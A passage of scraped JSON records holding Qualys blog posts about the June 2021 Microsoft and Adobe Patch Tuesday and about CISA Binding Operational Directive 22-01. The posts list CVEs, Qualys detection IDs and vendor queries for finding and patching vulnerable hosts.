CVSSv3 base score of 7.8 by the vendor.\n\n[CVE-2021-31959](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31959>) \u2013 Scripting Engine Memory Corruption Vulnerability\n\nMicrosoft released patches addressing a critical memory corruption vulnerability in the Chakra JScript scripting engine. This vulnerability impacts Windows RT, Windows 7, Windows 8, Windows 10, Windows Server 2008 R2, Windows Server 2012 (R2) and Windows Server 2016. An adversary can exploit this vulnerability when the target user opens a specially crafted file.\n\n[CVE-2021-31963](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31963>) \u2013 Microsoft SharePoint Server Remote Code Execution Vulnerability\n\nMicrosoft released patches addressing a critical RCE in SharePoint Server. This CVE is assigned a CVSSv3 base score of 7.1 by the vendor.\n\n#### Six 0-Day Vulnerabilities with Exploits in the Wild Patched\n\nThe following vulnerabilities need immediate attention for patching since they have active exploits in the wild:\n\n[CVE-2021-33742](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33742>) \u2013 Windows MSHTML Platform Remote Code Execution Vulnerability \n[CVE-2021-33739](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33739>) \u2013 Microsoft DWM Core Library Elevation of Privilege Vulnerability \n[CVE-2021-31956](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31956>) \u2013 Windows NTFS Elevation of Privilege Vulnerability \n[CVE-2021-31955](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31955>) \u2013 Windows Kernel Information Disclosure Vulnerability \n[CVE-2021-31201](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31201>) \u2013 Microsoft Enhanced Cryptographic Provider Elevation of Privilege Vulnerability \n[CVE-2021-31199](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31199>) \u2013 Microsoft Enhanced Cryptographic Provider Elevation of Privilege Vulnerability\n\n#### **Qualys QIDs Providing Coverage**\n\nQID| Title| Severity| CVE ID \n---|---|---|--- \n91768| Microsoft .NET Core Security Update June 2021| Medium| CVE-2021-31957 \n91769| Microsoft Visual Studio Security Update for June 2021| Medium| CVE-2021-31957 \n375614| Visual Studio Code Kubernetes Tools Extension Elevation of Privilege Vulnerability| Medium| CVE-2021-31938 \n110383| Microsoft SharePoint Enterprise Server Multiple Vulnerabilities June 2021| High| CVE-2021-31966,CVE-2021-31965,CVE-2021-31964,CVE-2021-31963,CVE-2021-31950,CVE-2021-31948,CVE-2021-26420 \n110384| Microsoft Office and Microsoft Office Services and Web Apps Security Update June 2021| High| CVE-2021-31939,CVE-2021-31941,CVE-2021-31940,CVE-2021-31949 \n110385| Mcrosoft Outlook Remote Code Execution Vulnerability Security Update June 2021| High| CVE-2021-31949,CVE-2021-31941 \n91771| Microsoft Defender Multiple Vulnerabilities - June 2021| Critical| CVE-2021-31978,CVE-2021-31985 \n91772| Microsoft Windows Security Update for June 2021| Critical| CVE-2021-1675,CVE-2021-26414,CVE-2021-31199,CVE-2021-31201,CVE-2021-31951,CVE-2021-31952,CVE-2021-31953,CVE-2021-31954,CVE-2021-31955,CVE-2021-31956,CVE-2021-31958,CVE-2021-31959,CVE-2021-31960,CVE-2021-31962,CVE-2021-31968,CVE-2021-31969,CVE-2021-31970,CVE-2021-31971,CVE-2021-31972,CVE-2021-31973,CVE-2021-31974,CVE-2021-31975,CVE-2021-31976,CVE-2021-31977,CVE-2021-33742 \n91773| Microsoft 3D Viewer Multiple Vulnerabilities - June 2021| High| CVE-2021-31944,CVE-2021-31943,CVE-2021-31942 \n91774| Microsoft Paint 3D Remote Code Execution Vulnerability| High| CVE-2021-31983,CVE-2021-31946,CVE-2021-31945 \n91775| Microsoft Windows VP9 Video Extension Remote Code Execution Vulnerability| Medium| CVE-2021-31967 \n91777| Microsoft Windows DWM Core Library Elevation of Privilege Vulnerability - June 2021 | High| CVE-2021-33739 \n \n### Adobe Patch Tuesday \u2013 June 2021\n\nAdobe addressed 41 CVEs this Patch Tuesday, and 21 of them are rated as critical severity impacting Acrobat and Reader, Adobe Photoshop, Creative Cloud Desktop Application, RoboHelp Server, Adobe After Effects, and Adobe Animate products.\n\nAdobe Security Bulletin| QID| Severity| CVE ID \n---|---|---|--- \nAdobe Animate Multiple Security Vulnerabilities (APSB21-50)| 91770| Medium| CVE-2021-28630,CVE-2021-28619,CVE-2021-28617,CVE-2021-28618,CVE-2021-28621,CVE-2021-28620,CVE-2021-28629,CVE-2021-28622 \nAdobe Security Update for Adobe Acrobat and Reader( APSB21-37)| 375611| High| CVE-2021-28551,CVE-2021-28554,CVE-2021-28552,CVE-2021-28631,CVE-2021-28632 \n \n### Discover Patch Tuesday Vulnerabilities in VMDR\n\nQualys VMDR automatically detects new Patch Tuesday vulnerabilities using continuous updates to its Knowledge Base (KB).\n\nYou can see all your impacted hosts by these vulnerabilities using the following QQL query:\n\n`vulnerabilities.vulnerability:(qid:`91768` OR qid:`91769` OR qid:`91770` OR qid:`91771` OR qid:`91772` OR qid:`91773` OR qid:`91774` OR qid:`91775` OR qid:`91777` OR qid:`110383` OR qid:`110384` OR qid:`110385` OR qid:`375611` OR qid:`375614`)`\n\n\n\n### Respond by Patching\n\nVMDR rapidly remediates Windows hosts by deploying the most relevant and applicable per-technology version patches. You can simply select respective QIDs in the Patch Catalog and filter on the \u201cMissing\u201d patches to identify and deploy the applicable, available patches in one go.\n\nThe following QQL will return the missing patches pertaining to this Patch Tuesday.\n\n`(qid:`91768` OR qid:`91769` OR qid:`91770` OR qid:`91771` OR qid:`91772` OR qid:`91773` OR qid:`91774` OR qid:`91775` OR qid:`91777` OR qid:`110383` OR qid:`110384` OR qid:`110385` OR qid:`375611` OR qid:`375614`)`\n\n\n\n### Patch Tuesday Dashboard\n\nThe current updated Patch Tuesday dashboards are available in [Dashboard Toolbox: 2021 Patch Tuesday Dashboard](<https://qualys-secure.force.com/discussions/s/article/000006505>).\n\n### Webinar Series: This Month in Patches\n\nTo help customers leverage the seamless integration between Qualys VMDR and Patch Management and reduce the median time to remediate critical vulnerabilities, the Qualys Research team is hosting a monthly webinar series [_This Month in Patches_](<https://www.brighttalk.com/webcast/11673/491681>).\n\nWe discuss some of the key vulnerabilities disclosed in the past month and how to patch them:\n\n * VMware vCenter Server Multiple Vulnerabilities\n * Ubuntu XStream Vulnerabilities\n * Microsoft Patch Tuesday, June 2021\n\n[Join us live or watch on demand](<https://www.brighttalk.com/webcast/11673/491681>)!\n\n### About Patch Tuesday\n\nPatch Tuesday QIDs are published at [Security Alerts](<https://www.qualys.com/research/security-alerts/>), typically late in the evening of [Patch Tuesday](<https://blog.qualys.com/tag/patch-tuesday>), followed shortly after by [PT dashboards](<https://qualys-secure.force.com/discussions/s/article/000006505>).", "cvss3": {}, "published": "2021-06-08T21:19:29", "type": "qualysblog", "title": "Microsoft & Adobe Patch Tuesday (June 2021) \u2013 Microsoft 50 Vulnerabilities with 5 Critical, Adobe 21 Critical Vulnerabilities", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-26420", "CVE-2021-28551", "CVE-2021-28552", "CVE-2021-28554", "CVE-2021-28617", "CVE-2021-28618", "CVE-2021-28619", "CVE-2021-28620", "CVE-2021-28621", "CVE-2021-28622", "CVE-2021-28629", "CVE-2021-28630", "CVE-2021-28631", "CVE-2021-28632", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31938", "CVE-2021-31939", "CVE-2021-31940", "CVE-2021-31941", "CVE-2021-31942", "CVE-2021-31943", "CVE-2021-31944", "CVE-2021-31945", "CVE-2021-31946", "CVE-2021-31948", "CVE-2021-31949", "CVE-2021-31950", "CVE-2021-31951", "CVE-2021-31952", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31957", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31960", "CVE-2021-31962", "CVE-2021-31963", "CVE-2021-31964", "CVE-2021-31965", "CVE-2021-31966", "CVE-2021-31967", "CVE-2021-31968", "CVE-2021-31969", "CVE-2021-31970", "CVE-2021-31971", "CVE-2021-31972", "CVE-2021-31973", "CVE-2021-31974", "CVE-2021-31975", "CVE-2021-31976", "CVE-2021-31977", "CVE-2021-31978", "CVE-2021-31983", "CVE-2021-31985", "CVE-2021-33739", "CVE-2021-33742"], "modified": "2021-06-08T21:19:29", "id": "QUALYSBLOG:23EF75126B24C22C999DAD4D7A2E9DF5", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-09T06:36:02", "description": "[Start your VMDR 30-day, no-cost trial today](<https://www.qualys.com/forms/vmdr/>)\n\n## Overview\n\nOn November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>), &quot;Reducing the Significant Risk of Known Exploited Vulnerabilities.&quot; [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires agencies to review and update agency internal vulnerability management procedures within 60 days according to this directive and remediate each vulnerability according to the timelines outlined in &#x27;CISA&#x27;s vulnerability catalog.\n\nQualys helps customers to identify and assess risk to organizations&#x27; digital infrastructure and automate remediation. Qualys&#x27; guidance for rapid response to Operational Directive is below.\n\n## Directive Scope\n\nThis directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency&#x27;s behalf.\n\nHowever, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA&#x27;s public catalog.\n\n## CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [291 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. The Qualys Research team has mapped all these CVEs to applicable QIDs. You can view the complete list of CVEs and the corresponding QIDs [here](<https://success.qualys.com/discussions/s/article/000006791>).\n\n### Not all vulnerabilities are created equal\n\nOur quick review of the 291 CVEs posted by CISA suggests that not all vulnerabilities hold the same priority. CISA has ordered U.S. federal enterprises to apply patches as soon as possible. The remediation guidance can be grouped into three distinct categories:\n\n#### Category 1 \u2013 Past Due\n\nRemediation of 15 CVEs (~5%) are already past due. These vulnerabilities include some of the most significant exploits in the recent past, including PrintNightmare, SigRed, ZeroLogon, and vulnerabilities in CryptoAPI, Pulse Secure, and more. Qualys Patch Management can help you remediate most of these vulnerabilities.\n\n#### Category 2 \u2013 Patch in less than two weeks\n\n100 (34%) Vulnerabilities need to be patched in the next two weeks, or by **November 17, 2022**.\n\n#### Category 3 \u2013 Patch within six months\n\nThe remaining 176 vulnerabilities (60%) must be patched within the next six months or by **May 3, 2022**.\n\n## Detect CISA&#x27;s Vulnerabilities Using Qualys VMDR\n\nThe Qualys Research team has released several remote and authenticated detections (QIDs) for the vulnerabilities. Since the directive includes 291 CVEs, we recommend executing your search based on vulnerability criticality, release date, or other categories.\n\nFor example, to detect critical CVEs released in 2021:\n\n_vulnerabilities.vulnerability.criticality:CRITICAL and vulnerabilities.vulnerability.cveIds:[ `CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]_\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using the VMDR Prioritization report.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to the CISA Known Exploited Vulnerabilities and gather your status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of the status of the vulnerabilities in your environment using the [&quot;CISA 2010-21| KNOWN EXPLOITED VULNERABILITIES&quot;](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard:\n\n\n\n### Summary Dashboard High Level Structured by Vendor:\n\n\n\n## Remediation\n\nTo comply with this directive, federal agencies must remediate most &quot;Category 2&quot; vulnerabilities by **November 17, 2021**, and &quot;Category 3&quot; by May 3, 2021. Qualys Patch Management can help streamline the remediation of many of these vulnerabilities.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive&#x27;s aggressive remediation date of November 17, 2021. Running this query will find all required patches and allow quick and efficient deployment of those missing patches to all assets directly from within the Qualys Cloud Platform.\n\ncve:[`CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]\n\n\n\nQualys patch content covers many Microsoft, Linux, and third-party applications; however, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch the remaining CVEs in this list.\n\nNote that the due date for \u201cCategory 1\u201d patches has already passed. To find missing patches in your environment for \u201cCategory 1\u201d past due CVEs, copy the following query into the Patch Management app:\n\ncve:[&#x27;CVE-2021-1732\u2032,&#x27;CVE-2020-1350\u2032,&#x27;CVE-2020-1472\u2032,&#x27;CVE-2021-26855\u2032,&#x27;CVE-2021-26858\u2032,&#x27;CVE-2021-27065\u2032,&#x27;CVE-2020-0601\u2032,&#x27;CVE-2021-26857\u2032,&#x27;CVE-2021-22893\u2032,&#x27;CVE-2020-8243\u2032,&#x27;CVE-2021-22900\u2032,&#x27;CVE-2021-22894\u2032,&#x27;CVE-2020-8260\u2032,&#x27;CVE-2021-22899\u2032,&#x27;CVE-2019-11510&#x27;]\n\n\n\n## Federal Enterprises and Agencies Can Act Now\n\nFor federal enterprises and agencies, it&#x27;s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>).\n\nHere are a few steps Federal enterprises can take immediately:\n\n * Run vulnerability assessments against all your assets by leveraging various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Patch Management to apply patches and other configurations changes\n * Track remediation progress through Unified Dashboards\n\n## Summary\n\nUnderstanding vulnerabilities is a critical but partial part of threat mitigation. Qualys VMDR helps customers discover, assess threats, assign risk, and remediate threats in one solution. Qualys customers rely on the accuracy of Qualys&#x27; threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any organization efficiently respond to the CISA directive.\n\n## Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-09T06:15:01", "type": "qualysblog", "title": "Qualys Response to CISA Alert: Binding Operational Directive 22-01", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-0601", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-1497", "CVE-2021-1498", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-20016", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-22502", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-22986", "CVE-2021-26084", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42258"], "modified": "2021-11-09T06:15:01", "id": "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-25T19:27:09", "description": "_CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection &amp; Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:&quot;true&quot;_**\n\n\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n\n\n### Remediation\n\nTo comply with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464